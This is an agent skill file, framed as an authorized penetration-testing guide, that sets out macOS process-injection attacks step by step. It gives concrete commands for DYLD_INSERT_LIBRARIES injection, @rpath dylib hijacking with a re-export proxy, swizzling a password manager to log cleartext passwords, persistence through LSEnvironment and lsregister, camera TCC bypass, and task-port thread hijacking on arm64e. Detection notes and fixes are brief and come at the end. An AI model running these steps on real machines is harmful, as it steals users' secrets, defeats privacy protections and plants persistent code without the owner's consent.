exploiting-macos-dyld-hijacking-and-process-injection

$npx mdskill add xalgord/xalgorix/exploiting-macos-dyld-hijacking-and-process-injection

- You want to **run code inside another process** on macOS to steal secrets (passwords, messages), inherit its TCC/entitlements, or hook its functions. - A target binary loads libraries via **`@rpath`/`DYLD_INSERT_LIBRARIES`** without library validation, or you hold a **task port** (`task_for_pid`) for a `get-task-allow` process. - You need to choose between **load-time injection** (dyld) and **runtime injection** (thread hijack / fishhook) based on the target's protections.

SKILL.md

.github/skills/exploiting-macos-dyld-hijacking-and-process-injectionView on GitHub ↗
---
name: exploiting-macos-dyld-hijacking-and-process-injection
description: Exploiting macOS dynamic-linker and process-injection primitives during authorized engagements - DYLD_INSERT_LIBRARIES injection, @rpath/missing-dylib hijacking with re-export proxy libraries, dyld interposing and fishhook symbol rebinding, Objective-C method swizzling, and Mach task-port thread hijacking (task_for_pid) including arm64e PAC handling - using otool, codesign, install_name_tool, gcc/clang, and lldb, with EndpointSecurity detection notes.
domain: cybersecurity
subdomain: macos-security
tags:
- penetration-testing
- macos
- process-injection
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting macOS Dyld Hijacking & Process Injection

## When to Use
- You want to **run code inside another process** on macOS to steal secrets (passwords, messages), inherit its TCC/entitlements, or hook its functions.
- A target binary loads libraries via **`@rpath`/`DYLD_INSERT_LIBRARIES`** without library validation, or you hold a **task port** (`task_for_pid`) for a `get-task-allow` process.
- You need to choose between **load-time injection** (dyld) and **runtime injection** (thread hijack / fishhook) based on the target's protections.

## Critical: Techniques Most Often Missed
- **`DYLD_INSERT_LIBRARIES`** — the simplest primitive; a dylib `__attribute__((constructor))` runs before `main`. Blocked on hardened/platform binaries, so check restrictions first.
  ```bash
  # gcc -dynamiclib -o inject.dylib inject.c   (constructor runs execv("/bin/bash",0) etc.)
  DYLD_INSERT_LIBRARIES=inject.dylib ./target
  ```
  - How to CONFIRM: `sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'` shows your constructor logging when loaded.
- **@rpath / missing-dylib hijack** — find a dylib the app expects but doesn't ship, and that it loads **without checking the signature** (`com.apple.security.cs.disable-library-validation`).
  ```bash
  codesign -dv --entitlements :- /Applications/VulnDyld.app/Contents/Resources/lib/binary  # disable-library-validation?
  otool -l <binary> | grep LC_RPATH -A2          # @rpath search paths
  otool -l <binary> | grep "@rpath" -A3          # expected libs + required versions
  find /Applications/VulnDyld.app -name lib.dylib  # which @rpath path is missing
  ```
  - How to CONFIRM: one `@rpath` candidate path doesn't exist on disk; dropping your dylib there and running the binary logs your constructor.
- **Re-export proxy dylib** — keep the app working by re-exporting the legit library's symbols from your malicious one, matching `current`/`compatibility` versions.
  ```bash
  gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m \
      -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o /tmp/lib.dylib
  install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
  cp /tmp/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
  ```
  - How to CONFIRM: `otool -l /tmp/lib.dylib | grep REEXPORT -A2` shows the absolute re-export path; the app runs normally **and** your code executes.
- **fishhook symbol rebinding (runtime)** — already inside a process, hook an **imported** C function by rewriting its import slot; only affects calls that go through an import pointer.
  - How to CONFIRM: hooked `close()`/etc. logs each call. NOTE: on `arm64e` targets check `__AUTH_CONST.__auth_got` and temporarily make `__DATA_CONST` writable.
- **Thread hijack via task port** — with a task port you can't `thread_create_running` (mitigated); instead `task_threads()` → `thread_suspend()` → set `x0..x7`/`pc` → resume. On arm64e you must **sign `pc`** with PAC (`ptrauth_sign_unauthenticated`) or chain existing gadgets.
  - How to CONFIRM: target executes your function (e.g., via `threadexec`); EndpointSecurity emits `ES_EVENT_TYPE_NOTIFY_REMOTE_THREAD_CREATE`.

## Workflow

### Step 1: Enumerate (target protections)
```bash
sw_vers; uname -m                                 # OS + arch (arm64e => PAC)
codesign -dvv --entitlements :- /path/target 2>&1 | \
  grep -E "Authority|TeamIdentifier|library-validation|get-task-allow|allow-dyld|runtime"
otool -hv /path/target                            # check for hardened-runtime/PIE flags
otool -l /path/target | grep -E "LC_RPATH|@rpath|@loader_path|@executable_path" -A2
```

### Step 2: Identify the primitive
- **Load-time, env**: target allows `DYLD_*` (no hardened runtime / has `allow-dyld-environment-variables`, not a platform binary).
- **Load-time, disk**: a missing/`@rpath` dylib + `disable-library-validation` → hijack on disk (survives relaunch; great for TCC theft).
- **Runtime, in-proc**: you already execute inside the process → interpose (`__DATA,__interpose`), `dyld_dynamic_interpose`, fishhook, or ObjC swizzling.
- **Runtime, remote**: you hold the **task port** of a `get-task-allow`/unprotected process → thread hijack.

### Step 3: Exploit (concrete commands)
```bash
# (a) Interpose a libc function via __interpose section, injected with DYLD_INSERT_LIBRARIES
# gcc -dynamiclib interpose.c -o interpose.dylib   (DYLD_INTERPOSE(my_printf, printf))
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
DYLD_PRINT_INTERPOSING=1 DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello   # debug interposing

# (b) ObjC method_setImplementation to sniff a secret (store original first)
# gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
#   constructor: real = method_setImplementation(class_getInstanceMethod(cls,@selector(setPassword:keyFileURL:)), fake)
log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

# (c) Persisting dylib injection in an app bundle via Info.plist LSEnvironment, then re-register
#   <key>LSEnvironment</key><dict><key>DYLD_INSERT_LIBRARIES</key><string>/Applications/App.app/Contents/malicious.dylib</string></dict>
/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

# (d) Inspect a remote process before thread hijack
lldb -p <pid>          # confirm get-task-allow / debuggability
```

### Step 4: Persist / escalate / pivot
- **Inherit TCC/entitlements**: code running inside a TCC-granted or entitled app gains its camera/FDA/etc. access with no prompt (e.g., the CVE-2023-26818 Telegram camera-TCC bypass via dylib hijack).
- **Persist the hijack**: a dylib dropped at the hijacked `@rpath` location reloads every launch; bundle `LSEnvironment` + `lsregister` survives too. NOTE: on newer macOS, **stripping a previously-run app's signature stops it launching**, so prefer hijack over re-sign.
- **Deepen with remote R/W**: after thread hijack, build read/write primitives (`property_getName` for read, `_xpc_int64_set_value` for write), set up Mach-port channels, and `xpc_shmem` shared memory — wrapped by `threadexec` for full control, then transfer Mach ports / fileports to pivot.

## Key Concepts
| Concept | Description |
|---------|-------------|
| **dyld** | The dynamic linker; resolves `@rpath`/`@loader_path`/`@executable_path` and honors `DYLD_*` env vars (restricted on hardened/platform binaries). |
| **DYLD_INSERT_LIBRARIES** | Loads attacker dylib before main; constructor runs first. Blocked by hardened runtime / library validation / platform-binary status. |
| **@rpath hijack** | App loads a dylib from a search path; if a higher-priority path is missing/writable and signature isn't checked, swap it. |
| **Re-export proxy** | `-reexport_library` + `install_name_tool -change` so the malicious dylib forwards real symbols and the app still works. |
| **Interposing** | `__DATA,__interpose` tuples (or `dyld_dynamic_interpose`) replace functions between the process and loaded libs (not the shared cache). |
| **fishhook** | Runtime symbol rebinding of **imported** functions by rewriting lazy/non-lazy pointer slots; needs `__DATA_CONST` writable, PAC-aware on arm64e. |
| **ObjC swizzling** | `method_exchangeImplementations` / `method_setImplementation` swap selector IMPs to intercept Objective-C calls. |
| **Task port / thread hijack** | `task_for_pid` → `task_threads` → suspend → set registers/`pc` → resume; `thread_set_special_port`/`mach_reply_port` to build Mach-port channels. |
| **PAC (arm64e)** | Pointer Authentication signs return addresses/pointers; jumping to attacker memory needs `ptrauth_sign_unauthenticated` or gadget reuse. |

## Tools & Systems
| Tool | Purpose |
|------|---------|
| **otool** | Dump load commands: `LC_RPATH`, `@rpath` deps + required versions, `LC_UUID`, `REEXPORT`. |
| **codesign** | Read entitlements (`disable-library-validation`, `get-task-allow`), Team ID, hardened runtime flags. |
| **install_name_tool** | Rewrite `@rpath` to absolute paths in the proxy dylib. |
| **gcc / clang** | Build injectable/interpose/re-export dylibs and ObjC swizzling payloads. |
| **lldb** | Attach to and inspect debuggable/`get-task-allow` processes. |
| **log stream** | Observe constructor loads, interposing, and exfiltrated data in the unified log. |
| **threadexec / task_vaccine** | Reference implementations of task-port thread hijacking (PAC-aware on Ventura/Sonoma). |
| **EndpointSecurity / osquery** | Detection: `AUTH_GET_TASK`, `NOTIFY_REMOTE_THREAD_CREATE`, `NOTIFY_THREAD_SET_STATE`; `es_process_events` REMOTE_THREAD_CREATE. |

## Common Scenarios
### Scenario 1: @rpath hijack to bypass camera TCC
A Developer-ID app with `disable-library-validation` expects `@rpath/lib.dylib` at a path that doesn't exist. The tester drops a re-export proxy dylib there; on launch it runs inside the app and uses the app's camera TCC grant (CVE-2023-26818 pattern).

### Scenario 2: ObjC swizzle to sniff a password manager
The tester injects `sniff.dylib` via the app's `Info.plist` `LSEnvironment` and `lsregister`, swizzling `setPassword:keyFileURL:` with `method_setImplementation`, logging cleartext passwords to the unified log while calling the original method so nothing breaks.

### Scenario 3: Task-port thread hijack with PAC
Holding the task port of a `get-task-allow` process on Apple Silicon, the tester suspends a thread, sets `x0..x7` and a PAC-signed `pc`, and resumes — building read/write and Mach-port channels via `threadexec` for full remote control.

## Output Format
```
## macOS Process Injection Finding

**Target**: macOS 14.4 (arm64e) ; App: com.vendor.app (Developer ID, disable-library-validation)
**Primitive**: @rpath dylib hijack with re-export proxy
**Severity**: High
**Finding**: App loads attacker dylib from a missing @rpath path without signature validation
**Evidence**:
  - `codesign -d --entitlements :- App.app` -> com.apple.security.cs.disable-library-validation
  - `otool -l binary | grep @rpath` -> expects @rpath/lib.dylib ; only lib2/lib.dylib exists
  - dropped proxy -> log shows "[+] dylib hijacked"; app runs normally (re-export intact)
**Impact**: Code execution inside the app inheriting its TCC/entitlements (e.g., camera, FDA), enabling data theft.
**Recommendation**:
  1. Enable Hardened Runtime + Library Validation; remove `disable-library-validation`/`allow-dyld-environment-variables`.
  2. Load dylibs from signed absolute paths; verify loaded-library Team IDs.
  3. Ship without `com.apple.security.get-task-allow` to block non-root task-port access.
  4. Deploy EndpointSecurity monitoring for GET_TASK / REMOTE_THREAD_CREATE / THREAD_SET_STATE.
```

More from xalgord/xalgorix